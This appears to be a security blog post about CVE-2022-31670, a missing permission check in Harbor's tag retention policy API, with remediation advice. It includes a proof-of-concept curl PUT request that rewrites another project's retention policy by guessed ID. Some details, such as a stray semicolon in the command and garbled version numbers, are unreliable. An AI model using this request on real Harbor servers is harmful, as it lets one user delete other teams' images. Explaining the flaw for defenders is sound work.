When we protect our container images, tools like Harbor are critical in keeping our images organized, up-to-date, and safe from accidental deletion. Harbor lets teams group, store, and manage container images efficiently by dividing them into separate projects and setting up policies like tag retention for image lifecycles. But what happens if Harbor forgets to check "who owns what" every time?
In this post, we break down CVE-2022-31670, share the details found in Harbor's security advisory, and see how a simple permission flaw could lead to a serious cross-project policy takeover. Stick with us for proof-of-concept code and tips for safer setups.
What’s CVE-2022-31670?
The flaw lives in Harbor’s Tag Retention Policy API. Harbor’s web interface allows users to set up and update tag retention policies for their projects. These policies keep image tags under control, pruning unused or old images.
The bug: _When you update a tag retention policy using Harbor’s API, Harbor does NOT check whether you actually own or have access to the target project._
Impact: A malicious user, with access to any Harbor project, could try updating a retention policy _for a project they don’t control._ This could let them mess with or wipe out images in other teams’ projects.
Exploiting the Bug
Every tag retention policy has a numeric id and belongs to a single Harbor project. Harbor should ensure that you cannot manipulate retention policies outside your own projects. But due to missing permission checks, Harbor accepts updates as long as you know the policy id.
Step 1: Get Authenticated
Assume you’re authenticated as attacker, with access to the "test-attacker" project.
Step 2: Find a Victim’s Policy ID
Policy IDs are incremental or can be guessed, or sometimes can be gathered from info leaks or enumeration (not the bug here, but easy to manage if you already have a list).
Let’s say you know (or guess) the victim’s policy id is 5.
Step 3: Send the Update Request
The dangerous part: send a request pretending to update your own, but actually aiming for the other project’s policy:
curl -X PUT -u attacker:password \
"https://harbor.local/api/retentions/5"; \
-H "Content-Type: application/json" \
-d '{
"algorithm": "or",
"rules": [
{
"disabled": false,
"action": "retain",
"template": "latestPushedK",
"params": {
"latestPushedK": 2
},
"scope_selectors": {
"repository": [
{
"kind": "doublestar",
"decoration": "repoMatches",
"pattern": "**"
}
]
},
"tag_selectors": [
{
"kind": "doublestar",
"decoration": "matches",
"pattern": "**"
}
]
}
]
}'
What Just Happened?
- Even though you only have access to the "test-attacker" project, your PUT request updated (or totally rewrote) the retention policy for the victim’s project.
- You can set it to delete all but one tag, or even disable deletion entirely, undermining the victim's project image lifecycle or disk usage rules.
The culprit code (before patch) failed to check the project ownership on update routes, including
// before patch, missing check
func (r *RetentionAPI) UpdatePolicy(ctx context.Context, policy *model.RetentionPolicy) error {
// ... update code, *but no verification that current user has access to policy.ProjectID*
}
After disclosure (Harbor <= 2.5.3, 2.6.1, and 2.7. are vulnerable), the fix now _verifies_ the user’s permission to operate on the referenced project for update/delete.
See Harbor's patch for implementation details.
Links and References
- NVD Entry
- Harbor Advisory GHSA-pc7j-hw3q-gm45
- Harbor Patch Pull Request #16625
How To Protect Yourself
- Upgrade Harbor: If you run any version older than those patched (e.g. < 2.5.4, < 2.6.2, < 2.7.1), update ASAP.
- Audit Policy IDs: Retention policy ids should NOT be enumerable, but double-check access logs for unexpected changes.
- Limit User Privileges: Only give project-level controls to trusted users—and consider extra controls for API access.
Final Thoughts
CVE-2022-31670 is a classic access control slip—_a reminder that checking permissions on every sensitive action is a must_. In shared Harbor setups, this bug could have led to accidental or intentional project-wide outages. If you're running Harbor, patch and audit now!
Want to dig deeper or contribute? Harbor's open source code is here.
Stay safe and don’t assume permission checks “just happen”!
Timeline
Published on: 11/14/2024 12:15:17 UTC
Last modified on: 11/15/2024 13:58:08 UTC